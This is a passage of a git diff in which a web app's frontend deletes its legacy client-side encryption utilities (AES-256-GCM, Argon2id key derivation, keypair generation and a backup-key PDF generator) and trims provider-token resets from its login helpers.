   static setSignupToken(tokenStr: string) {
     setSignupTempToken(tokenStr);
   }
diff --git a/frontend/src/components/utilities/attemptCliLogin.ts b/frontend/src/components/utilities/attemptCliLogin.ts
index d0f8fca241d..d7530dc3789 100644
--- a/frontend/src/components/utilities/attemptCliLogin.ts
+++ b/frontend/src/components/utilities/attemptCliLogin.ts
@@ -30,7 +30,6 @@ const attemptLogin = async ({
     captchaToken
   });
 
-  SecurityClient.setProviderAuthToken("");
   SecurityClient.setToken(data.accessToken);
   if (email) {
     telemetry.identify(email, email);
diff --git a/frontend/src/components/utilities/attemptLogin.ts b/frontend/src/components/utilities/attemptLogin.ts
index 8e918fe0ca0..7c43f63b5f4 100644
--- a/frontend/src/components/utilities/attemptLogin.ts
+++ b/frontend/src/components/utilities/attemptLogin.ts
@@ -2,7 +2,6 @@ import { loginV3 } from "@app/hooks/api/auth/queries";
 import { setAuthToken } from "@app/hooks/api/reactQuery";
 
 import Telemetry from "./telemetry/Telemetry";
-import SecurityClient from "./SecurityClient";
 
 export enum LoginMode {
   LegacySrp = "legacy-srp",
@@ -39,7 +38,6 @@ const attemptLogin = async ({
     captchaToken
   });
 
-  SecurityClient.setProviderAuthToken("");
   setAuthToken(data.accessToken);
 
   if (email) {
diff --git a/frontend/src/components/utilities/cryptography/aes-256-gcm.ts b/frontend/src/components/utilities/cryptography/aes-256-gcm.ts
deleted file mode 100644
index b9bd7251951..00000000000
--- a/frontend/src/components/utilities/cryptography/aes-256-gcm.ts
+++ /dev/null
@@ -1,77 +0,0 @@
-/**
- * @fileoverview Provides easy encryption/decryption methods using AES 256 GCM.
- */
-
-import crypto from "crypto";
-
-const ALGORITHM = "aes-256-gcm";
-const BLOCK_SIZE_BYTES = 16; // 128 bit
-
-interface EncryptProps {
-  text: string;
-  secret: string | Buffer;
-}
-
-interface DecryptProps {
-  ciphertext: string;
-  iv: string;
-  tag: string;
-  secret: string | Buffer;
-}
-
-interface EncryptOutputProps {
-  ciphertext: string;
-  iv: string;
-  tag: string;
-}
-
-/**
- * Provides easy encryption/decryption methods using AES 256 GCM.
- */
-class Aes256Gcm {
-  /**
-   * No need to run the constructor. The class only has static methods.
-   */
-
-  /**
-   * Encrypts text with AES 256 GCM.
-   * @param {object} obj
-   * @param {string} obj.text - Cleartext to encode.
-   * @param {string} obj.secret - Shared secret key, must be 32 bytes.
-   * @returns {object}
-   */
-  // { ciphertext: string; iv: string; tag: string; }
-  static encrypt({ text, secret }: EncryptProps): EncryptOutputProps {
-    const iv = crypto.randomBytes(BLOCK_SIZE_BYTES);
-    const cipher = crypto.createCipheriv(ALGORITHM, secret, iv);
-
-    let ciphertext = cipher.update(text, "utf8", "base64");
-    ciphertext += cipher.final("base64");
-    return {
-      ciphertext,
-      iv: iv.toString("base64"),
-      tag: cipher.getAuthTag().toString("base64")
-    };
-  }
-
-  /**
-   * Decrypts AES 256 CGM encrypted text.
-   * @param {object} obj
-   * @param {string} obj.ciphertext - Base64-encoded ciphertext.
-   * @param {string} obj.iv - The base64-encoded initialization vector.
-   * @param {string} obj.tag - The base64-encoded authentication tag generated by getAuthTag().
-   * @param {string} obj.secret - Shared secret key, must be 32 bytes.
-   * @returns {string}
-   */
-  static decrypt({ ciphertext, iv, tag, secret }: DecryptProps): string {
-    const decipher = crypto.createDecipheriv(ALGORITHM, secret, Buffer.from(iv, "base64"));
-    decipher.setAuthTag(Buffer.from(tag, "base64"));
-
-    let cleartext = decipher.update(ciphertext, "base64", "utf8");
-    cleartext += decipher.final("utf8");
-
-    return cleartext;
-  }
-}
-
-export default Aes256Gcm;
diff --git a/frontend/src/components/utilities/cryptography/crypto.ts b/frontend/src/components/utilities/cryptography/crypto.ts
index 57c239e4499..25a6af00213 100644
--- a/frontend/src/components/utilities/cryptography/crypto.ts
+++ b/frontend/src/components/utilities/cryptography/crypto.ts
@@ -1,177 +1,5 @@
-// @ts-expect-error to avoid wasm dependencies
-// eslint-disable-next-line
-import argon2 from "argon2-browser/dist/argon2-bundled.min.js";
-import nacl from "tweetnacl";
-import { encodeBase64 as naclEncodeBase64 } from "tweetnacl-util";
-import aes from "./aes-256-gcm";
-
 const encodeBase64 = (uint8Array: Uint8Array) => btoa(String.fromCharCode(...uint8Array));
 const decodeBase64 = (base64String: string) =>
   new Uint8Array([...atob(base64String)].map((c) => c.charCodeAt(0)));
 
-const generateKeyPair = async (fipsEnabled: boolean) => {
-  if (fipsEnabled) {
-    if (!crypto || !crypto.subtle) {
-      throw new Error("Web Crypto API not available");
-    }
-
-    // browser version of how the key format we expect on the backend for asymmetric encryption
-    const result = await crypto.subtle.generateKey(
-      {
-        name: "X25519"
-      },
-      true, // extractable
-      ["deriveKey", "deriveBits"]
-    );
-
-    // Type guard
-    if (!("publicKey" in result)) {
-      throw new Error("Expected CryptoKeyPair but got CryptoKey");
-    }
-
-    const keyPair = result as CryptoKeyPair;
-    const publicKeyBytes = await crypto.subtle.exportKey("spki", keyPair.publicKey);
-    const privateKeyBytes = await crypto.subtle.exportKey("pkcs8", keyPair.privateKey);
-
-    return {
-      publicKey: btoa(String.fromCharCode(...new Uint8Array(publicKeyBytes))),
-      privateKey: btoa(String.fromCharCode(...new Uint8Array(privateKeyBytes)))
-    };
-  }
-
-  const pair = nacl.box.keyPair();
-  const secretKeyUint8Array = pair.secretKey;
-  const publicKeyUint8Array = pair.publicKey;
-  const privateKey = naclEncodeBase64(secretKeyUint8Array);
-  const publicKey = naclEncodeBase64(publicKeyUint8Array);
-
-  return {
-    publicKey,
-    privateKey
-  };
-};
-
-/**
- * Derive a key from password [password] and salt [salt] using Argon2id
- * @param {Object} obj
- * @param {String} obj.password - password to derive key from
- * @param {String} obj.salt - salt to derive key from
- * @param {Number} obj.mem - used memory, in KiB
- * @param {Number} obj.time - number of iterations
- * @param {Number} obj.parallelism - desired parallelism
- * @param {Number} obj.hashLen - desired hash length (i.e. byte-length of derived key)
- * @returns
- */
-const deriveArgonKey = async ({
-  password,
-  salt,
-  mem,
-  time,
-  parallelism,
-  hashLen
-}: {
-  password: string;
-  salt: string;
-  mem: number;
-  time: number;
-  parallelism: number;
-  hashLen: number;
-}) => {
-  let derivedKey;
-  try {
-    derivedKey = await argon2.hash({
-      pass: password,
-      salt,
-      type: argon2.ArgonType.Argon2id,
-      mem,
-      time,
-      parallelism,
-      hashLen
-    });
-  } catch (err) {
-    console.error(err);
-  }
-
-  return derivedKey;
-};
-
-type EncryptSymmetricProps = {
-  plaintext: string;
-  key: string;
-};
-
-type EncryptSymmetricReturn = {
-  ciphertext: string;
-  iv: string;
-  tag: string;
-};
-/**
- * Return symmetrically encrypted [plaintext] using [key].
- */
-const encryptSymmetric = ({ plaintext, key }: EncryptSymmetricProps): EncryptSymmetricReturn => {
-  let ciphertext;
-  let iv;
-  let tag;
-  try {
-    const obj = aes.encrypt({ text: plaintext, secret: key });
-    ciphertext = obj.ciphertext;
-    iv = obj.iv;
-    tag = obj.tag;
-  } catch (err) {
-    console.log("Failed to perform encryption");
-    console.log(err);
-    process.exit(1);
-  }
-
-  return {
-    ciphertext,
-    iv,
-    tag
-  };
-};
-
-type DecryptSymmetricProps = {
-  ciphertext: string;
-  iv: string;
-  tag: string;
-  key: string;
-};
-
-/**
- * Return symmetrically decypted [ciphertext] using [iv], [tag],
- * and [key].
- * @param {Object} obj
- * @param {String} obj.ciphertext - ciphertext to decrypt
- * @param {String} obj.iv - iv
- * @param {String} obj.tag - tag
- * @param {String} obj.key - 32-byte hex key
- *
- */
-const decryptSymmetric = ({ ciphertext, iv, tag, key }: DecryptSymmetricProps): string => {
-  if (!ciphertext) return "";
-  let plaintext;
-  try {
-    plaintext = aes.decrypt({ ciphertext, iv, tag, secret: key });
-  } catch (err) {
-    console.log("Failed to decrypt with the following parameters", {
-      ciphertext,
-      iv,
-      tag,
-      key
-    });
-    console.log("Failed to perform decryption", err);
-
-    process.exit(1);
-  }
-
-  return plaintext;
-};
-
-export {
-  decodeBase64,
-  decryptSymmetric,
-  deriveArgonKey,
-  encodeBase64,
-  encryptSymmetric,
-  generateKeyPair
-};
+export { decodeBase64, encodeBase64 };
diff --git a/frontend/src/components/utilities/generateBackupPDF.ts b/frontend/src/components/utilities/generateBackupPDF.ts
deleted file mode 100644
index bf3b430c6d8..00000000000
--- a/frontend/src/components/utilities/generateBackupPDF.ts
+++ /dev/null
@@ -1,105 +0,0 @@
-import { jsPDF } from "jspdf";
-
-interface PDFProps {
-  personalName: string;
-  personalEmail: string;
-  generatedKey: string;
-}
-
-const imgData =
-  "data:image/png;base64,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